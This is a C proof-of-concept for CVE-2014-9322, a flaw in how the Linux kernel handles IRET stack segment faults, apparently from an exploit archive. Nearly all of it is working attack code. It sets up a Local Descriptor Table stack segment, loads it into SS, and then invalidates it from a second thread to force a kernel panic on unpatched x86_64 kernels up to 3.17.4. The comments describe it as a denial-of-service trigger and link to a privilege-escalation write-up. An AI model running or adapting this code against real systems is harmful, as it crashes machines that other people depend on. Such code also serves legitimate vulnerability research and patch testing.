Linux Kernel 3.17.5 - IRET Instruction #SS Fault Handling Crash (PoC)

/* ----------------------------------------------------------------------------------------------------
 * cve-2014-9322_poc.c
 * 
 * arch/x86/kernel/entry_64.S in the Linux kernel before 3.17.5 does not
 * properly handle faults associated with the Stack Segment (SS) segment
 * register, which allows local users to gain privileges by triggering an IRET
 * instruction that leads to access to a GS Base address from the wrong space.
 * 
 * This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.
 * 
 * I have no merit to writing this poc, I just implemented first part of Rafal Wojtczuk article (this guy is a genius!)
 * More info at : http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/
 * 
 * 
 * Compile with gcc -fno-stack-protector -Wall -o cve-2014-9322_poc cve-2014-9322_poc.c  -lpthread
 * 
 * Emeric Nasi - www.sevagas.com
 *-----------------------------------------------------------------------------------------------------*/
 
  // Only works on x86_64 platform
 #ifdef __x86_64__
 
/* -----------------------   Includes ----------------------------*/
#define _GNU_SOURCE
#include <stdio.h> 
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <asm/ldt.h>
#include <pthread.h>
#include <sys/time.h>
#include <inttypes.h>
#include <stdbool.h>
#include <errno.h>
#include <sys/user.h>



/* -----------------------   definitions ----------------------------*/


#define TARGET_KERNEL_MIN "3.0.0"
#define TARGET_KERNEL_MAX "3.17.4"
#define EXPLOIT_NAME "cve-2014-9322"
#define EXPLOIT_TYPE DOS


#define FALSE_SS_BASE  0x10000UL
#define MAP_SIZE    0x10000


/* -----------------------   Global variables ----------------------------*/


struct user_desc new_stack_segment;


/* -----------------------   functions ----------------------------*/


/**
 * Creates a new segment in Local Descriptor Table
 */
static bool add_ldt(struct user_desc *desc, const char *name)
{
  if (syscall(SYS_modify_ldt, 1, desc, sizeof(struct user_desc)) == 0) 
  {
    return true;
  } 
  else 
  {
    printf("[cve_2014_9322 error]: Failed to create %s segment\n", name);
    printf("modify_ldt failed, %s\n", strerror(errno));
    return false;
  }
}


int FLAG = 0;

void * segManipulatorThread(void * none)
{
  new_stack_segment.entry_number    = 0x12;
  new_stack_segment.base_addr       = 0x10000;
  new_stack_segment.limit           = 0xffff;
  new_stack_segment.seg_32bit       = 1;
  new_stack_segment.contents        = MODIFY_LDT_CONTENTS_STACK; /* Data, grow-up */
  new_stack_segment.read_exec_only  = 0;
  new_stack_segment.limit_in_pages  = 0;
  new_stack_segment.seg_not_present = 0;
  new_stack_segment.useable         = 0;
  new_stack_segment.lm = 0;
  
  // Create a new stack segment
  add_ldt(&new_stack_segment, "newSS");
  
  // Wait for main thread to use new stack segment
  sleep(3);  

  // Invalidate stack segment 
  new_stack_segment.seg_not_present = 1;
  add_ldt(&new_stack_segment, "newSS disable");
  FLAG = 1;
  sleep(15);
  
  return NULL;
}

/**
 * DOS poc for cve_2014_9322 vulnerability
 */
int main()
{

  pthread_t thread1;
  uint8_t *code;
  
  printf("[cve_2014_9322]: Preparing to exploit.\n");
  
  // map area for false SS
  code = (uint8_t *)mmap((void *)FALSE_SS_BASE, MAP_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
  if (code != (uint8_t *) FALSE_SS_BASE) 
  {
    fprintf(stderr, "[cve_2014_9322 Error]: Unable to map memory at address: %lu\n", FALSE_SS_BASE);
    return -1;
  }
   
    printf("[cve_2014_9322]:  Panic!\n");
  if(pthread_create(&thread1, NULL, segManipulatorThread, NULL)!= 0)
  {
    perror("[cve_2014_9322 error]: pthread_create");
    return false;  
  }
  
  // Wait for segManipulatorThread to create new stack segment
  sleep(1);

    // Set  stack segment to newly created one in segManipulatorThread
  asm volatile ("mov %0, %%ss;"
    :        
    :"r" (0x97)
  );
  
  while(FLAG == 0){};
  sleep(4);

  return 0;
}


#endif // __x86_64__